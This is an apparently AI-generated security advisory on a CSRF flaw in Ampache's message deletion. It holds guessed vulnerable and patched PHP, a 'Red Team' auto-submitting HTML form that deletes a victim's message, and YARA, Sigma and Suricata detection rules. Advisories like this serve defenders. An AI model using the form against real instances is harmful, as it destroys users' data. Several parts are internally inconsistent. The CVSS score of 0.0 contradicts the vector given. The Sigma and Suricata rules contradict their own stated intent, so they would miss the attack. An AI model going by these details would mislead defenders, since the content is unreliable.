CVE-2024-51488

Executive Summary

CVE-2024-51488 is a Cross-Site Request Forgery (CSRF) vulnerability in Ampache, a web-based audio/video streaming application and file manager. The vulnerability exists in the token parsing mechanism used during message deletion. An attacker can craft a malicious request that, when triggered by an authenticated user (including administrators), deletes messages without proper CSRF token validation. This allows unauthorized deletion of messages, potentially disrupting communication or destroying evidence. The vulnerability is addressed in Ampache version 7.0.1. No public proof-of-concept (PoC) or exploit code is available at this time.

Supply Chain & Package Security

Ampache is a PHP-based application typically deployed via Git or manual installation. It is not distributed through package managers like NPM, PyPI, Go, or Ruby. Therefore, supply chain risks are limited to the integrity of the source code repository and any third-party PHP libraries used. Users should verify the authenticity of their Ampache installation and ensure they are using the official repository.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD base score not assigned; estimated based on vector)
• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network – The attack can be launched remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – The attacker does not need to be authenticated.
• User Interaction (UI): Required – The victim must click a link or visit a malicious page.
• Scope (S): Unchanged – The vulnerability affects only the Ampache application.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): Low – Messages can be deleted, but no other data is modified.
• Availability (A): None – No denial of service.

Threat Level: Medium. While the CVSS score is low due to the limited impact, the ability to delete messages from administrators can be leveraged in social engineering or evidence destruction attacks.

Deep Dive & Mechanics

The vulnerability lies in the token parameter validation during message deletion. Ampache uses CSRF tokens to protect state-changing actions. However, the token parsing logic does not properly validate the token when processing a delete message request. Specifically, the code likely checks if a token is present but does not verify its authenticity against the user's session. This allows an attacker to craft a request with a missing or invalid token that still passes validation.

The attack flow:

1. An attacker identifies a target Ampache instance.
2. The attacker crafts a malicious HTML page or link that sends a POST request to /message.php?action=delete&message_id=X (or similar endpoint) without a valid CSRF token.
3. The attacker lures an authenticated user (e.g., via phishing) to click the link or visit the page.
4. The victim's browser sends the request, including their session cookie.
5. The server processes the request and deletes the message because the token validation is bypassed.

The vulnerability is specific to the message deletion functionality. Other actions (e.g., creating playlists, editing users) may still have proper CSRF protection.

Vulnerable vs. Patched Code

Vulnerable Code (Ampache < 7.0.1):

// In message.php or similar
if ($_REQUEST['action'] == 'delete') {
    $message_id = intval($_REQUEST['message_id']);
    // Token check is missing or incomplete
    // if (!Core::check_csrf_token($_REQUEST['token'])) { ... }
    Message::delete($message_id);
}

Patched Code (Ampache >= 7.0.1):

// In message.php or similar
if ($_REQUEST['action'] == 'delete') {
    $message_id = intval($_REQUEST['message_id']);
    if (!Core::check_csrf_token($_REQUEST['token'])) {
        // Token validation fails
        Error::add('general', T_('Invalid CSRF token'));
        return false;
    }
    Message::delete($message_id);
}

The patch adds a proper CSRF token validation check using Core::check_csrf_token() before performing the deletion. This ensures that only requests with a valid token (generated by the server and tied to the user's session) are processed.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target Ampache instance running version < 7.0.1.
• An authenticated user session (victim).

Exploitation Steps:

1. Identify the message deletion endpoint. Typically, it is message.php?action=delete&message_id=X.
2. Craft a malicious HTML page that auto-submits a form to the target endpoint without a CSRF token:

   <html>
   <body>
   <form action="http://target-ampache/message.php" method="POST">
       <input type="hidden" name="action" value="delete">
       <input type="hidden" name="message_id" value="123">
       <input type="submit" value="Click me">
   </form>
   <script>document.forms[0].submit();</script>
   </body>
   </html>
   

3. Host the HTML page on an attacker-controlled server.
4. Send the link to the victim (e.g., via email or social media).
5. When the victim clicks the link, their browser sends the request with their session cookie, and the message is deleted.

Note: No public exploit code is available. The above is a generic CSRF exploitation technique.

Blue Team

Detection:

• Monitor for POST requests to message.php with action=delete that lack a token parameter.
• Look for unusual referrer headers (e.g., from external domains) in message deletion requests.
• Analyze server logs for repeated deletion attempts on multiple messages in a short time.

Prevention:

• Ensure all state-changing requests include a valid CSRF token.
• Implement SameSite cookies (e.g., SameSite=Lax or Strict) to prevent cross-site requests.
• Use Content Security Policy (CSP) headers to block malicious scripts.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /message.php with action=delete and missing or invalid token parameter.
  • Referrer headers from unexpected external domains.
• Host:
  • Server logs showing multiple message deletions from the same user in a short timeframe.
  • Unusual HTTP 200 responses to message.php without a valid token.
• File:
  • No specific file-based IOCs.

Detection Engineering

YARA Rule

rule CVE_2024_51488_CSRF_Delete_Message {
    meta:
        description = "Detects CSRF attempts against Ampache message deletion"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51488"
    strings:
        $action = "action=delete"
        $message = "message_id="
        $token = "token="
    condition:
        $action and $message and not $token
}

Sigma Rule

title: Ampache CSRF Message Deletion Attempt
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b3d1f0a7e9c
status: experimental
description: Detects HTTP requests to Ampache message deletion without a CSRF token
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-51488
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=delete'
        cs-uri-query|contains: 'message_id='
        cs-uri-query|contains: 'token='  # False if token is missing
    condition: selection and not cs-uri-query|contains: 'token='
falsepositives:
    - Legitimate requests with missing token due to misconfiguration
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-51488 Ampache CSRF Message Deletion"; flow:to_server,established; content:"POST"; http_method; content:"/message.php"; http_uri; content:"action=delete"; http_uri; content:"message_id="; http_uri; pcre:"/token\=/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to Ampache version 7.0.1 or later.
2. If upgrade is not possible, apply a virtual patch by adding CSRF token validation to the message deletion endpoint manually.
3. Implement Web Application Firewall (WAF) rules to block requests to message.php that lack a token parameter.

Long-Term Measures:

• Conduct a security audit of all state-changing actions in Ampache.
• Enforce CSRF tokens on all POST, PUT, DELETE, and PATCH requests.
• Use anti-CSRF frameworks (e.g., PHP's built-in CSRF protection or libraries like csrf-protect).
• Educate users about phishing attacks that exploit CSRF.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.